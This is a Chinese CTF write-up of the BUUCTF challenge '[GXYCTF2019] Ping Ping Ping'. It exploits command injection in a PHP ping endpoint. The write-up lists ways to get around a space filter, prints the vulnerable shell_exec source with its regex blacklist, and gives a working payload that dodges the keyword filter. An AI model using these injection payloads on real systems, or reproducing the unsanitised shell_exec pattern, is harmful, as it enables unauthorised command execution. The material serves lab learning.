ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

buuctf初学者学习记录--web第12题

2022-02-01 10:33:21  阅读:283  来源: 互联网

标签:web buuctf -- ip preg Ping flag php match


[GXYCTF2019]Ping Ping Ping

打开靶场
在这里插入图片描述
就只有一个提示,直接按照提示进行测试
在这里插入图片描述
会返回ping ip的结果,联想到另外一道题,里面介绍了管道符的使用
[ACTF2020 新生赛]Exec
尝试直接使用管道符
在这里插入图片描述
使用ls查看目录下的文件,尝试访问flag.php
在这里插入图片描述
根据提示,应该是空格被过滤了,需要绕过空格
命令执行漏洞利用及绕过方式总结
常用的绕过方式:

${IFS}
$IFS$1 
<
<>
{cat,flag.php} 		//用逗号实现空格功能
%09		//需要php环境

一一尝试得到payload
使用$IFS$1与其他得到的提示不一样
在这里插入图片描述
额。。好像没啥用,但是想起来还有一个文件没用, 尝试访问index.php
在这里插入图片描述
查看源代码:

/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

也就是说,使用正则匹配对参数,例如{},<>,* ,?,空格,bash,flag等进行了过滤,才会有我们刚才看到的各种提示
这里观察到有个a变量,使用shell_exec命令进行了shell命令执行,然后将结果返回到a变量中,最后输出a shell_exec命令
ps:这里的ping -c 4就是发送4条请求
在这里插入图片描述
参考大佬们的wp
尝试利用a进行变量覆盖绕过flag过滤
构造payload:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

在这里插入图片描述
得到flag
还有很多其他解法,参考这位佬的博客,他进行了详细的总结,受益匪浅:
有关[GXYCTF2019]Ping Ping Ping 做题总结

标签:web,buuctf,--,ip,preg,Ping,flag,php,match
来源: https://blog.csdn.net/pakho_C/article/details/122762787

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有